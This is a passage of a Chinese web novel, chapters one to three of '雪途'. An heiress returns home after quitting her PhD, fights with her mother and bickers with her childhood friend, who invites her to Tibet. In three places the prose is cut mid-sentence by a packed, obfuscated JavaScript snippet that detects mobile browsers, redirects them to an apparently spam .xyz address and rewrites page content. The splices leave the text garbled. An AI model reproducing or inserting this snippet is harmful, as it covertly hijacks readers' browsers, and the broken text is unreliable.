《雪途》 1. 第一章 雪途 文/几一川 二〇二五年,九月初三。 一架小型私人飞机跨越重洋,即将抵达隅州市安坪机场上空。 “邬小姐,马上就要降落了,我替您打开一下遮光板好吗?”空姐半蹲在闭目养神的女人身侧,轻声沟通。 女人半睁开眼,拿起墨镜戴上,没什么情绪的“嗯”一声。 空姐半起身,伸手将遮阳板轻轻拨开,又将高脚杯收走。 这是一架商务型私人飞机,机舱内的所有空乘人员都只为一位乘客服务。 飞行高度缓缓下降,刺目的阳光洒进机舱内。 邬雪青看了下手机消息,名为“零花钱紧急救援小组”的家庭群内没有一条消息。 她打开和“老季总”的聊天框,发了一句:我回国了,接风礼物呢? 过了大概十几分钟,微信转账显示:88888 她回:【打发要饭的呢?】 飞机正在滑行时,手机短信一震,显示尾号7542的银行卡到账1,500,000.00。 转钱倒是快,却连消息也没空回一条。 她划走短信,翻了个白眼。 邬家。 “快快快!客厅的花我昨天就说要换了,怎么今天还没换?” 女人挑剔的声音从楼上传到楼下。 “哎呀!伍姐,我说了多少次了,扶手要用特殊的抹布擦,这湿抹布会留水印的!还有,房间里的地毯都换了没有?” 正擦扶手的阿姨赶忙答:“换过了,昨天地毯一到就全都换上了……” 不等她说完,邬玉瑾仰头朝楼上喊道:“项均,你怎么还没下来呀!飞机都要到了呀!” “马上,马上。”邵项均应道。 过了两分钟,男人打紧了领带快步走下来。 邬玉瑾指着自己丝巾问:“项均,你帮我看看,这颜色怎么样?” 温和儒雅的中年男人点点头:“挺好,和你这衣服颜色很搭。” “丽姐!你去看看,小李把车开来了没有,我们马上就要走了!” 噼里啪啦的脚步声,惊得两只小猫一溜烟躲进了猫别墅,半人高的伯恩山犬也夹着尾巴钻进楼梯下方的狗窝内。 邬玉瑾走下楼梯,拍了一下掌心:“Cooper!” 那耳朵朝内腚朝外的大伯恩山哼哼唧唧倒车出库,没了掩体,摆着谄媚的笑脸来蹭主人的腿。 “一天天净掉毛了,别来蹭我。” 邬玉瑾嫌弃地拍开它,又戳它脑门交代道,“待会你姐回来了,要来门口迎接,听到没有?” 大伯恩山蹲坐在地上,仰头看着女主人,中气十足地“汪”了一声。 “吵死了,不许叫!” 可怜小狗不会说话,攒足劲想表现的脑袋顿时蔫了,哼哼唧唧地趴在了地上,耳朵也耷拉了下去。 “伍姐,我们出去这几个小时你把家里的宠物毛吸一吸,不要毛毛到处飞,Shirley有鼻炎的!” “好的,太太。” 风风火火一阵过去,大门“砰”一声合上,只留下两双踢得歪扭的拖鞋。 主人们前脚刚走,不到十分钟门铃就响了。 伍姐正疑惑是客人还是插花师到了,喊着“来了,稍等”从楼梯上快步跑下来,一拉开门,呆住了。 一个戴着遮阳帽,身着短裙和长靴的少女将拎着的包放柜子上,随意交代了一句“帮我把行李收进房间”,便大步往里走去。 直愣愣地侧身看她熟稔进了屋内,伍姐才后知后觉道:“……雪青小姐?” 大小姐没搭理她,将披肩随手一扔就往客厅去了。 大名鼎鼎的“魔女”大小姐提前出现,杀了个措手不及。 伍姐挤出个比哭还命苦的笑容:“太太和先生刚出门去机场接您,您怎么自己先回来了?” 好像没听见,又或者完全不在乎,邬雪青指挥道:“十分钟后我要洗澡,帮我把楼上浴缸清理干净。” 听见熟悉的声音,Cooper从楼梯下探出头,侧着脑袋盯着门口熟悉的陌生人看,有些戒备地呲了呲牙。 她那冷淡矜傲的声音在看见狗时一下甜了起来,夹着嗓子矫揉造作道:“Coooooper!” 甜腻的声线让生物语音识别系统成功识别,刚还又怂又勇,低吼呲牙的大狗离弦之箭般冲了过来,夹着嗓子嗷嗷呜呜叫着,满腹委屈地直往小主人身上扑。 “宝贝儿,走,上楼。” 她前脚刚走,后脚物业管家就拉着推车从电梯出来,带上来了几个行李箱和几乎堆放不下的奢侈品购物袋。 伍姐脸上僵硬的笑容终于挂不住了,惊恐无比地拉响了一级警报。 “小戴!小戴!过来接行李,菲菲打电话通知太太,小姐已经到家了,也别管插花师来不来了,马上去外面买一捧最新鲜的鲜花回来,赶在太太回来前一定要把客厅的花换了!” 伍姐安排完,又一刻不停上楼给大小姐收拾浴室。 十五分钟后,邬雪青躺进了温热的浴缸里。 窗台的薄纱帘拉着,朦朦胧胧透进一层白光。 邬雪青正要放松地将口鼻浸入水面下,耳边毫无征兆炸响起记忆里一道苍老、温和而又极具压迫性的声音:“雪青啊,只有废物才会退缩享受,你是废物吗?” 憋着的气猝然一松,她呛了一口水,扒着浴缸壁咳了个惊天动地。 邬玉瑾半路接到消息,掉头赶回来,一到家推开卧室门,瞧见女儿已经躺下了。 大狗就趴在床边,一瞧见她,扭着屁股又过来蹭她。 邬玉瑾撇开狗,轻手轻脚走到床边,俯身看。 女儿睡颜静谧,茂密柔顺的黑发遮挡着花朵般青春美丽的脸颊,微微抿着唇,呼吸沉缓。 邬玉瑾手指往前伸,踌躇片刻才勾起女儿的鬓发,轻轻往后捋了捋,指腹落在女儿脸颊上,温柔地摸了摸。 掖好被角,邬玉瑾直起身,踢踢这百来斤的肥狗,低斥道:“出去!” 伯恩山不想走,脑袋直往床底下埋,呜呜咽咽想装鸵鸟。 下一秒肥厚的后脖颈就被手指揪起,不容反抗地拖了出去。 房门“哒”一声合上。 一点点异响也让邬雪青的眉头紧紧皱起,眼皮下的眼球滑动,她不安地揪紧了被子,陷入了梦魇里。 ——“雪青,邬家没有废物,你会是那个废物吗?” ——“妈妈答应你,你读完博回来,你想做什么做什么。” ——“不快乐啊,不快乐就回来呗,我季延山的女儿只要活得开心,爸就能养你一辈子!” ——“Shirley,你的状态不适合再学习下去,学院建议你休息一段时间……” 她喃喃呓语着什么,突然从梦中惊醒,猛地睁开了眼。 空气中有淡淡的玫瑰香水气息,她躺直身体,盯着头顶的羽毛灯看着,好一会儿,才缓慢撑起身体。 二楼的灯都关了,楼梯昏暗,她想下楼,有些轻微的夜盲症,摸着扶手缓慢往下踏。 转过拐角,有了光亮。 她微皱的眉头刚松开,抬头一看,她脚步骤顿。 她没想到,和叶嘉木再见,会这么突然,如此地毫无心理准备,甚至她还简薄地穿着睡裙。 楼下的“不速之客”却毫无做客的局促。 近一米九的个头,两条长腿高支着,正装外套随意搭在沙发靠背上,衬衫马甲下松散的领带垂落,勾得小猫伸爪子直挠。 夕阳余晖从落地窗透进休息室,将他乌黑的头发也镀上了薄薄一层金色,硬挺的侧脸标准有型,他修长的指节轻挠着猫下巴,随性、自在,像本来就是这家里的一部分。 楼梯扶手被重重叩了两下,随之响起的是一句咬牙切齿的:“叶嘉木,你没有自己的家吗?” 男人背影稍滞,但仅一秒,他视线往上扫,落在她身上,慢条斯理地笑着开口:“好久不见啊,公主殿下,你家母后派我来叫你起床了。” “我妈去哪了?” “都到餐厅了,就等殿下醒了。” 他说的餐厅是别墅群内私人宴客餐厅,只承接业主私人宴饮。 邬雪青扭头就要往楼上走:“我不饿,你就说我没醒过!” “殿下跑什么,去不去随你,话我可带到了。” 邬雪青一想,也对,这是自己家,凭什么要躲他? 她转身大步又往楼下走。 叶嘉木也撑起身朝楼梯走来,薄唇勾着,懒懒散散说:“不过我这个人可不擅长说谎,殿下,你也不想你母后大人亲自来……” 邬雪青余光瞥见楼梯上有块反光,还没看清楚是什么,脚下呲溜一滑。 “啊啊——” 疼痛没到来,薄底皮鞋与光滑的地面摩擦生响,结实有力的臂膀先一步拉住了她。 她瘦薄的肩膀和他厚实的胸肌撞在一块,沉沉一声闷响。 邬雪青一头撞进他怀里,身体一麻。 刚扶稳她,男人呼吸还有些重,沉声问:“摔着了吗?” “没……” 话没说完,她蓦地反应过来,条件反射般一把将他推开。 叶嘉木缓缓松开了搂着她后腰的手,往扶手上一倚,揉揉遭重击的心口,捂着心一脸懒痞地道:“殿下用完就扔,真没情义。” “楼梯上什么东西啊?” 邬雪青有些生硬地移开话题,回头看。 只见白色的大理石阶梯上赫然摊着一片黄色的不明液体。 “这是什么?” 邬雪青指着那摊东西震惊地问叶嘉木。 “龙井吧。”他看了一眼,随意说。 邬雪青震惊的眼神转为困惑费解,用关怀智障的目光疑惑地盯着他。 叶嘉木一摊手,笑了:“既然不是龙井,那不是猫尿就是狗尿了。” “啊——” 邬雪青又一声尖叫,飞快将两只鞋甩飞。 家里阿姨纷纷跑了出来:“雪青小姐,怎么了?” “把楼梯上的脏东西搞干净,”她手指都在抖,“我回来后,不想看到有任何液体还在楼梯上!” 看来是要和他走了。 叶嘉木稍一欠身,抬手朝向门口,示意公主先请。 她赤脚走出客厅,还穿着睡裙,在玄关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996349|178187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣柜里随便抽了条披巾搭在肩上,换上了一双出门穿的薄底拖鞋。 后脖颈被轻捏了一下,她立刻扭头瞪叶嘉木。 后者脸上依然挂着笑:“头发掖住了,我给你弄一下,怎么也不乐意?” “多管闲事。” 她这样抱怨着,却习以为常地等待人伺候。 叶嘉木伸手抚过她的长发,轻而缓地将长长的乌发梳理出来。 邬雪青随手从玄关上又拿了瓶香水,在手腕处喷了一下,又在脖颈上蹭蹭。 叶嘉木弯下腰,讨要道:“我也要。” “你自己没长手吗?” “没有。” 真不要脸! 邬雪青按着香水在他脑袋顶上酷酷喷了好几下,将香水重重一放,拉开门就走。 叶嘉木一直起身就被空气中的浓郁香水味呛到,打了好几个喷嚏。 邬雪青一脸嫌弃,扇了扇手:“臭死了,离我远点。” “哪里臭?” “你整个人都是一个行走的臭垃圾!” “那也是你小时候亲过的臭垃圾。”他施施然道。 邬雪青像被踩了尾巴的猫,一下弹了起来,扭过头又恼又怒地瞪着他:“叶嘉木,幼儿园的事你还提,你有病啊?” “小时候是谁说要嫁给我?” “谁要嫁给你了?!”她声音拔高,“我警告你,你敢在我妈面前胡说八道一句,我待会就把你杀了!” 叶嘉木手一摊。 悉听尊便。 …… 他们俩最后到,餐厅里已经坐了一圈人,只剩两个相邻的位置。 今天大舅舅一家也在,还有叶嘉木的父母,坐满了长辈。 进了包间,邬雪青态度不远不近地简单打了圈招呼,坐下后接过服务生递来的毛巾擦了擦手。 “Shirley,欢迎回国,这是你妈妈和叔叔给你的礼物。” 邵项均转腕拨动玻璃台面,将一个盒子放在她面前。 邬玉瑾端起茶杯喝水,余光瞥着女儿。 邬雪青随手拨开了盒子,看清里面是一支镶钻的、闪着昂贵火彩的手表。 没什么惊喜的表情,她只扫了一眼便盖上盒子往后抛给了服务员。 服务员赶忙两手捧住,仿佛接着烫手火栗,看着满桌贵宾,满脸无措。 叶嘉木指指一侧茶台,笑笑解围道:“要吃饭了,麻烦你把礼物先放一边吧。” 叶嘉木的妈妈从身侧拎起一个纸袋,笑着道:“我这礼物都不好意思拿出手了,也先放一边吧。” 叶嘉木接过袋子,佯作不知地往里看,掏出了一件羊绒披肩,笑道:“我说我妈前几天怎么那么好心给我织了个羊绒围脖,感情是剩下的边角料!” 他的戏谑让气氛一松,大家默契地笑起来。 他看向邬雪青道:“公主殿下,我这亲儿子都没有这待遇,要不送给我吧?” “想得美。”邬雪青伸手接过,将披肩放在膝上,看向叶妈妈,微微一点颌,“谢谢秦姨。” 大舅舅也递过了礼物,同样是盒子,盒子里是一条帕拉伊巴碧玺的蓝宝石手链。 对她而言,很廉价。 邬雪青只打开看了一眼,兴致不高,不过还是礼貌地说了声谢谢,随即一转手腕把盒子塞给了叶嘉木。 饭桌底下,叶嘉木圈住她手腕,手掌抵住,拒绝接她的“废物回收”,脸上还挂着明朗的笑容。 “啧。”邬雪青不爽。 叶嘉木侧头,语气无奈:“我又不是收垃圾的,别什么都往我这扔。” 这一顿饭吃得有些“硬”。 长辈们聊着自己的生意经,倒也不算冷场。但接风宴的主角显然没有想加入话题的意思,简单吃几口就放下筷子,玩起了手机。 叶嘉木瞥了眼,瞧见一像素小人穿梭在田垄间,一会儿锄地,一会儿播种,忙得不亦乐乎。 感觉桌下的膝盖被轻轻撞了一下,邬雪青皱眉不爽地看向叶嘉木。 叶嘉木朝着一侧很轻微地努了下嘴。 邬雪青瞧见了邬玉瑾女士风雨欲来的脸色。 一顿饭吃得差不多了,大家都停了筷子,聊着些不痛不痒的话题,就等谁先说散场话。 邬雪青做了这个有眼力见的人,她将手机熄屏,抓着披肩起身道:“你们慢慢聊,我吃好了,先回去了。” “坐下!” 毫无征兆,邬玉瑾猛地一拍桌,惊得满桌碗筷一跳,她疾言厉色说:“邬雪青,长辈还没开口,这里轮到你做主了?” 众人赫然一惊,气氛一时凝固住了。 叶嘉木妈妈赶紧打圆场道:“玉瑾,孩子刚飞了十几个小时回来,肯定还累着呢,我看我们今天就先聊到这里吧。” 大舅舅也撑起身,乐呵呵道:“怎么还动这么大火?今天是给孩子接风,当然以孩子为主。雪青累了,大家就散了吧。” 邵项均给叶嘉木使了使眼色,各自起身送客出门。 客人们散了。 包厢里只剩下母女俩斜对而坐。 近乎一模一样的眉眼和棱角。 死寂般凝滞的沉默。 2. 第二章 “我累了,想回去休息。”邬雪青先开口。 她将披肩叠好放回袋子里,又将袋子放在了桌上。 不知道这个动作又哪惹恼了女王大人。 邬玉瑾直起腰,扯起一侧嘴角,冷冷道:“别人给的,就是一截麻绳都是好的,我给的,就是夜明珠也是垃圾!” 邬雪青声音很平淡:“我不缺夜明珠。” 和贵贱无关。 和谁送的也无关。 但她不会理解,也不屑于理解。 “邵叔,邬姨她们还没出来?” 叶嘉木把父母送回去,又掉头回了餐厅。 邵项均朝他摇头,问:“你怎么回来了?” “我爸妈不放心,让我回来看一眼。”叶嘉木简单解释。 “放心,你邬姨就是在人前火气大,人都散了,那点气也就散了。”邵项均回头看了眼门。 “雪青大舅舅他们都走了吗?” “走了,当初Shirley出国留学是她舅舅一手促成的,今天这顿饭必须得正式地请,不然也就在家里吃了。” 叶嘉木斟酌着:“雪青退学这件事,阿姨那里……” “毕竟是母女,不高兴归不高兴,也总不能不顾Shirley的意愿。” “雪青有和你们说退学的原因吗?” “说是压力太大,不想学了。”邵项均稍顿片刻,“她这孩子一向要强,不是轻易就放弃的性格。我毕竟不是亲爸,有些事不好多问,你和Shirley是从小一块长大的,有些事你帮我们多问问,我们就怕她是在外面受了欺负。” “好。” 叶嘉木话音刚落,就听包间里“砰”一声响。 门外两个男人同时回头。 五分钟前,包间内。 “从小你要什么,你爸就给什么,你就是要杀人,你爸都能给你递刀子,把你纵得目中无人,无法无天……” 邬雪青打断了她的话:“对啊,从小都是老季管我,您上哪去了?” “邬雪青,你现在是在对我表达不满吗?” 她抱起手臂,轻笑一声:“我可不敢。” 邬女士一下又毛了,圆桌被她拍得玻璃齐震:“我们邬家往上数几辈也是书香门第,整个家族都没有一个辍学的,被你开了先例,你还很光荣是不是?我的脸都让你丢尽了,你还有什么嚣张的?” 邬雪青一摔手机,笑了:“亲爱的邬玉瑾女士,是我非要读博吗?我说了我不想学经济,我学不来,你有考虑过我的意见吗?” 邬女士气得血压高,指着她鼻子骂道:“我怎么生出你这么没志气的东西?我跟你讲,你要么回去老老实实读完博把毕业证拿了,要么明天就滚去公司上班!” “不读,不去!既然我一事无成,丢了您的脸,我也不介意你和邵叔叔再生一个有用的。” “混账!” 邬玉瑾怒不可遏,抬手就将手边水壶就往前一打。 她也没想到那是一壶滚烫的开水。 溅起水花弹到了邬雪青身上,她尖叫起身,椅子挂到在地,门外默不作声的两位男士立马冲进了房间里。 邬雪青抬起胳膊,白皙的皮肤迅速起了几点红。 邬玉瑾愣住,想往前走,又生生顿住,仿佛成了一动就会输的木头人。 邵项均立刻和叶嘉木道:“你带雪青去医院看看,这里我来处理。” 没问怎么回事,叶嘉木托起邬雪青发红的胳膊,半抱半拉地先把她带出了包间。 离开房间,她执拗地要将胳膊从他掌心里拽出来。他没动,手掌像钳子一样紧紧钳住她,不容逃避。 邬雪青气急了,狠狠捶了他几拳。 结果不仅没锤疼,还把他锤笑了,邬雪青气得要命。 叶嘉木轻轻叹一口气,将她拉到洗手间,打开水龙头冲洗她烫得发红的胳膊。 雨滴似的泪珠打湿了他洁净的衬衫袖子。 他侧过头,盯着她委屈得鼻头发红的脸看了看。 她不发一言,扭开脑袋。 “冲五分钟,我们去医院开点药。” “不去。”声音委屈含糊。 “我已经叫司机过来了。”叶嘉木说。 她转头怒瞪着他:“你跟我有什么关系啊?凭什么管我的事?” “凭我俩一个妇幼医院出生,凭你上幼儿园开始就在我床上尿床,凭……” “叶嘉木!我跟你拼了!”邬雪青用头狠狠撞了他肩膀一下。 叶嘉木往后退一步,边笑边咳,忍不住用手用力捏了一下她的脸,挤成了包子脸。 “殿下你知不知道你好可爱。” “你有病啊,谁可爱?” “谁应谁是。” 她挤开叶嘉木,头也不回地往外走。 “处理一下吧,处理一下吧,以后留疤可就不好看了。”他像个祥林嫂,跟在她身后喋喋不休。 “好不好看跟你有什么关系?我又不会嫁给你!” “那我可太伤心了。” “你是不是有病啊?” “也许,一点点吧?问题不大。” 老天降道雷劈死他吧!! 胳膊拗不过大腿,邬雪青还是强行被某大力怪人拽进了他家。 面对邻居阿姨的关心,她勉强没那么执拗,擦上了烫伤膏。 “雪青,以后多来阿姨家坐坐,好久没看到你了,阿姨很想你的。” 和邬玉瑾女士的暴脾气不一样,秦斓女士温和柔婉,待人永远眼里带着三分恬静的包容。 叶嘉木从小捣蛋到大,就是把家里墙拆了,秦斓女士也只会无奈而温和地笑着道:“嘉木,你又干什么坏事了?” 邬雪青吃软不吃硬,盯着秦斓女士温柔给她擦药的手指看,感受到了几乎从来没有感受过的温柔母爱,鼻腔发酸,第无数次想,为什么她亲妈不是秦阿姨,而是隔壁的那个专制的女皇帝。 擦了药,邬雪青顶着满头乌云回家。 邵项均把女王大人哄回房间休息,泡杯茶从厨房出来,看见小叶正站门口和保姆阿姨说话。 “小叶,进来坐啊。”他招呼道。 “邵叔,我没什么事,就是来送个药。雪青不乐意去医院,刚刚在我家给她涂了点烫伤膏,这些药你们拿着。阿姨没烫着吧?” “你阿姨没事,还好刚刚有你看着雪青。” “应该的。叔,你们早点休息,我也回去了。” “好,那我不送了。” 邵项均端了杯洋甘菊茶上楼。 主卧床头灯亮着,笼出一片黄晕。邬玉瑾手里拿着本书,目光怔怔。 他出声道:“刚刚小叶来过了,说给Shirley上过药了。你把茶喝了,早点休息。” “大晚上喝什么茶。”邬玉瑾放下书,揉了揉眉心。 “上次出差带回来的洋甘菊,养神的。你明天还有个早会,今天早点休息吧。我明天课少,Shirley那边,我找她聊聊。” 在爱人面前,邬玉瑾才难得露出些疲惫的神态:“我真不知道怎么当妈了,你说我做的事,哪件不是为了她好?她现在倒是讨厌我像讨厌仇人一样,还不如隔壁的秦斓讨她喜欢。” 邵项均将茶杯放下,替她揉了揉额角,安抚道:“孩子大了,总是有自己的想法的,我们管太多未必好。美国局势那么乱,我倒是觉得她愿意回来未尝不是一件好事。” “怎么说?” “经济金融,理论学再深也不如真金白银去闯一闯,况且她硕士能跨专业拿到经济学硕士的学历,说明学习能力没问题,也掌握了扎实的经济理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996350|178187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论基础了,读了博也只是锦上添花。现在这个国际形势太乱了,还不如让她回来历练历练,好歹就在我们跟前。” “在眼前历练……你看她像愿意听我话的吗?” “明天我找她聊,放宽心,家里还有我在。你现在最重要的就是休息,我们把手术早点做了,早点安心,休息吧,老婆。” 一早,邬玉瑾去了公司。 邵项均等着邬雪青起床,从早上七点一直等到十点,楼上依旧没有一点动静。 他上午还有一节课,只得先去单位。 下午四点回来,路过隔壁,看见隔壁小伙子正在院里忙活,他打了声招呼:“小叶,洗车呢?” “哎,叔,今天下班这么早啊?” “对,今天课少。” 随口客套两句,他将车停进车库,进了家里,没瞧见一个人。 Cooper也不在。 保姆不是遛狗就是买菜去了。 他摸了两下猫头,又去洗手。 接着上楼,指节停在卧室门前。想了想,觉得这会儿单聊不大好,便又下楼,出门问隔壁小伙子:“小叶,你今天瞧见Shirley起来了吗?” “没,她还没起来啊?” 叶嘉木显然也有点震惊。 “唉,没起就没起吧,时差可能一时半会倒不过来。” 叶嘉木穿着件黑色背心,露出的胳膊膀子已经晒成了界限分明的蜜色。他搓了搓抹布,又抬头往隔壁楼上看。 二楼左侧房间窗帘还拉着,捂得严严实实的。 叶嘉木有点不放心,道:“邵叔,待会您还是叫阿姨她们去看看,一天不吃饭也不行啊。” “等阿姨们先回来吧。哎,小叶,你最近公司那边怎么样,事情多吗?” “这两个月公司事情不多,我准备进藏,盯着拍一个科普性质的产品宣传片。”叶嘉木简单说。 “进藏啊,多少人去?” “二三十个人吧,我是自驾过去,到德钦县和团队的其他人汇合。” “从这里开到西藏得好几天吧?你们年轻人精力好,也有时间,多出去跑跑也好,我年轻时候想去都没去成。” “您是贵人事忙。” “呵呵,半辈子了,瞎忙而已。” 叶嘉木笑笑:“回头我给您和阿姨带藏区特产回来。” 邵项均笑道:“太客气了你这孩子。” 五点,阿姨买菜遛狗回来了。 邵项均叫阿姨上去看看Shirley醒没醒,阿姨露出些为难的神色,还是顺从地先上楼去看了一眼,下来后道:“先生,小姐交代吃饭不用叫她,她饿了自己会下来吃的。” 其实上午已经发过一通脾气了。 她这会儿都不敢敲门,推开点门缝瞧着里面是黑的,赶紧下楼。 大小姐脾气一向大,起床气更是可怕得很,没睡醒,连太太都不敢去招她,她们做保姆的更不敢触霉头了。 邬玉瑾七点到家,吃过晚饭楼上依然没有任何动静。 她上楼去看了眼,屋子里窗帘都拉着,黑黢黢一片,奶白蚕丝被下有个小小的隆起。 她走近看。 女儿背对着门,呼吸匀速,丝毫没有要醒的意思。 她轻轻叹气,拉开了一点被子,打着手机背光看女儿胳膊。上过一次药,被开水溅到的胳膊已经看不出什么痕迹了。 邬玉瑾又将被子拉好,轻手轻脚出了门。 “怎么样了?” 见她从房间出来,邵项均问。 “还睡着呢,胳膊上倒看不出什么了,叫厨房备点吃的,让她睡吧。” 对身边发生的这些一无所知。 邬雪青这觉睡得极沉极深,等她被没眼力见的人从被子里薅起来时,已经是第三天了。 3. 第三章 凌晨两点四十,她醒了一次。 头哐哐疼,像有人拿着钻头在脑子里打。 邬雪青捂着额头坐起来,脑袋埋在被子上,一阵阵尖锐耳鸣。 好一会儿,耳鸣渐渐退去,她扒拉出手机光看了眼时间,没看日期,还纳闷怎么睡五六个小时,感觉像睡了一个世纪久了。 她揉了揉眼眶,捏着胀痛的额角放空了一会儿。翻来覆去好一阵,不知是折腾累了,还是被头痛痛晕了,她又沉沉睡了过去。 早上十点,窗帘刺啦一声响,灼热刺眼的阳光大举入侵。 邬雪青眼皮动了动,下意识想往被子下钻。 没给她逃避的机会,下一秒被子就被掀开,一只滚烫有力的手掌钳住了她的手腕,将她拽起来。 邬雪青脑子还没反应过来,身体已经触电般弹起来。 “起床。”一道声音说。 那一阵耳鸣又开始了。 邬雪青头疼欲裂,翻涌的爆炸情绪难以控制,她抽起枕头就砸向了人影:“你有病啊?谁让你进来的!” 他一把接住枕头,抬起掌心,中指处赫然挂着一串房门钥匙:“你妈。” 邬雪青闭了闭眼睛,决定不和这个脑子有病的计较。她躺回床上,踢了一脚被子,将脑袋也一并盖住。 下一秒,床侧凹了下去。 邬雪青猛地转头,就看见某人躺在她的床上,双手往脑后一枕,一副你睡多久我躺多久的模样。 她噌地又爬了起来。 叶嘉木转头看她:“睡了三天还没睡醒?再不醒要打120来拉你了。” “你……” “和我有什么关系?关系大了,你要是长睡不醒,多影响这一块房价。” “你!” “我什么我。采访你一下,睡美人公主殿下,睡三天两夜,你不饿吗?” 他转过身,手握拳对着她。 同床共枕,脸贴得极近,她那双杏仁似的眼睛里闪过一瞬的慌乱。 下一秒,她掀开被子,几乎是手脚并用地爬下了床。 鞋都没找着,脚一踩着地,她就怒不可遏地操起另一个枕头,砰砰往叶嘉木身上猛砸了两下。 “从我床上滚下去!” 他不仅没滚,还摊开了手脚,懒洋洋道:“小时候又不是没有睡过,殿下你不仅睡过我的床,还在我床上尿……” 她操起枕头,一把摁住了叶嘉木的头:“你去死吧!” 枕头底下是闷闷的笑声。 好一会儿,邬雪青都捂累了,气急败坏地把他往床下推。 他伸出手,扒着床头,依然是笑眯眯地:“睡美人殿下,我过几天要去西藏,想不想跟我一块出去玩啊?” 她动一下已经气喘吁吁了:“不去!” “去墨脱,你不是一直想看冰川吗,真不去?” “不去!” “真的不去?”他喋喋不休。 “冰山就是冰山,有什么稀奇的,冰岛都去过了,无聊!” “一个人去的冰岛?” 他将隔在他们之间的枕头抽开,又将胳膊枕在了脑后,好整以暇地仰头看着她。 “关你什么事?” “那你觉得无聊的原因是风景没意思还是一个人的旅行没意思?” 邬雪青冷笑:“跟你有关系吗?你是不是太自恋了一点?” “自恋?我可没提我,不过一群人的旅行肯定比一个人玩有意思,生命在于体验,你不想体验体验吗?” 他循循善诱的模样像个诈骗分子。 邬雪青翻了个白眼,突然发现自己还一直保持着撑在他旁边的动作。 他调整了一下靠姿,侧过身,单手撑头,几乎要贴她脸上了。 邬雪青想也不想,一巴掌抽在了他脸上。 “啪”一声脆响,火辣辣的。 他抬手摸了摸自己鼻梁,倒是笑了。 “离这么近,我以为你想亲我呢。”他笑吟吟说。 “有病。” 邬雪青低骂一句,匆匆从床上翻下去,趿拉上鞋子,急步进了洗手间。 等她从浴室洗漱完出来,房间里已经没有其他人了。 卧室毛绒绒的地毯上清晰可见几排脚印,证明那个狂徒的确在她房间反复进进出出。 以后一朝反目。 她第一个把他暗杀了。 睡不着了,她下楼喝了小半碗粥也没了胃口,恹恹地躺在沙发上挺尸。 门铃响了。 保姆放下擦拭桌面的抹布,立马去开门。 “睡美人殿下起来了吗?”门外的人说。 邬雪青立马弹了起来,朝阿姨喊道:“不许让他进来!” “你为难她没用,腿长在我身上。” 叶嘉木大咧咧走进来,就看见她跪坐在沙发上怒瞪着他,眼睛闪亮亮的。 身边窝着两只猫,一只狗。 真像迪士尼公主。 他手里拎着一个大包,将包往沙发上一放,猫和狗齐刷刷吓跑了。 “这什么东西?”邬雪青一脸嫌弃。 叶嘉木拉开旅行袋拉链,拿出一件防风冲锋衣递给她:“试试,尺码合不合适。” “丑死了,我不要。” 邬雪青嫌弃地捻开。 叶嘉木仿佛早知道她会这么说,立马又从袋里掏出别的颜色的。 “还有红色、紫色、绿色、黑色、灰色……” 邬雪青:“……” “这还有裤子。” “烦死了!拿开,都说了我不去,我不去!” “我可没有一定叫你去,这除了给你的,还有给邬姨和邵叔的。”叶嘉木伸手掐掐她脸颊,“不过你改主意了,我也非常欢迎。” 邬雪青一把拍掉他手。 气鼓鼓的,真可爱。 叶嘉木真想揪住她的脸重重捏一捏。 不过再闹,她真的要生气了,他意犹未尽地捻了捻指腹。 邬雪青看见他这张脸就想生气。她跳下沙发,踩在地上,拽过叶嘉木衣领。 他有些意外,挑了挑眉,顺从弯下腰。 邬雪青揪着他一直往前走,一直走到门口,她绕到他身后,双手一推,顺利把讨厌的东西扫地出门。 拍拍掌心,她满意地点点头。 “以后这个人来我们家,不许给他开门!”她叉着腰向阿姨们定下了一条规矩。 阿姨有些哭笑不能:“可是小姐,叶少爷知道我们家门密码的……” “那就把密码改了!” “密码要太太回来才能改。” 邬雪青抿了抿唇:“那是你要解决的事,不要问我!” 太太不好说话,大小姐更不好惹,也只有叶嘉木少爷好说话一点了…… “雪青小姐,那这些衣服您还要吗?”伍姐抬头问已经上楼的大小姐。 邬雪青脚步一顿,把着扶手往下看:“为什么不要?你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996351|178187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道非洲有多少穿不起衣服的小孩吗?” 伍姐:“……” 她轻哼一声,说:“放我衣帽间去。” 邬雪青不喜欢被临时决定的事情,即便是出去旅行,她也会提前一个月要求旅行规划师拿出几个方案来给她过目,确保整趟旅行有意思,又没有任何危险存在。 去墨脱? 那么偏僻的地方,她才不要去。 邬玉瑾下班到家时,从阿姨口中得知女儿终于醒了。 她上二楼看了下。 邬雪青正躺在摇椅上小憩,脸上盖着一本杂志,身上团着一只猫,好不惬意。 长绒毯子很吸音,等邬玉瑾走近拿起了书,邬雪青才顿时惊醒。 “妈。”邬雪青坐了起来。 